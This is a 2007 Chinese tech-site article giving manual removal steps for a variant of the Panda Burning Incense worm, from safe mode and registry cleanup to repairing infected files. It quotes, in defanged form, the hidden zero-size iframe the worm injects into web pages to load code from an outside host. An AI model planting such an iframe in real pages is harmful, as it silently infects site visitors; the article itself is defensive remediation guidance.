熊猫烧香病毒nvscv32.exe变种手动清除方案

豆豆网   技术应用频道   2007年02月23日    社区交流

本文详细介绍熊猫烧香病毒nvscv32.exe变种手动清除方案

  编者按:PConline提供了一种针对熊猫烧香病毒nvscv32.exe变种的查杀办法。据调查此变种于16日出现。笔者有幸于17日与“熊猫烧香病毒nvscv32.exe变种”亲密接触,并用以下方法将其清除。推荐使用第一种方法。

  一、PConline提供的解决方案

  1.拔网线;

  2.重新进入WinXP安全模式,熊猫烧香病毒进程没有加载,可使用“任务管理器”!(提示:开机后按住F8)

  3.删除病毒文件:%SystemRoot%system32drivers vscv32.exe。

  4.开始菜单=>运行,运行msconfig命令。在“系统配置实用程序”中,取消与nvscv32.exe相关的进程。也可使用超级兔子魔法设置、HijackThis等,删除nvscv32.exe的注册表启动项。

  

  取消熊猫烧香病毒进程的启动

  5.下载并使用江民专杀工具,修复被感染的exe文件。并及时打上Windows补丁。

  6.清除html/asp/php等,所有网页文件中如下代码:(为防止传播代码有三处修改,请将“。”换为“.”)

  <iframe src=http://www。krvkr。com/worm。htm width=”0” height=”0”></iframe>

  批量清除恶意代码的方法:

  •   可使用Dreamweaver的批量替换。
  •   

      Dreamweaver批理替换的使用方法

  •   可下载使用BatchTextReplacer批量替换。
  •   部署了Symantec AntiVirus的企业,升级到最新病毒库扫描全盘文件,即可清除被添加的恶意代码和清除病毒文件。
  •   7.用安装杀毒软件,并升级病毒库,扫描整个硬盘,清除其他病毒文件。推荐PConline多次推荐的“免费卡巴斯基”——Active Virus Sheild。(xxxxxxxxxxxxx)(注:步骤7不能与步骤5调换,以免可修复的带毒文件被删除!)

    来源:PConline    作者:GonNa    责编:豆豆技术应用

    正在加载评论...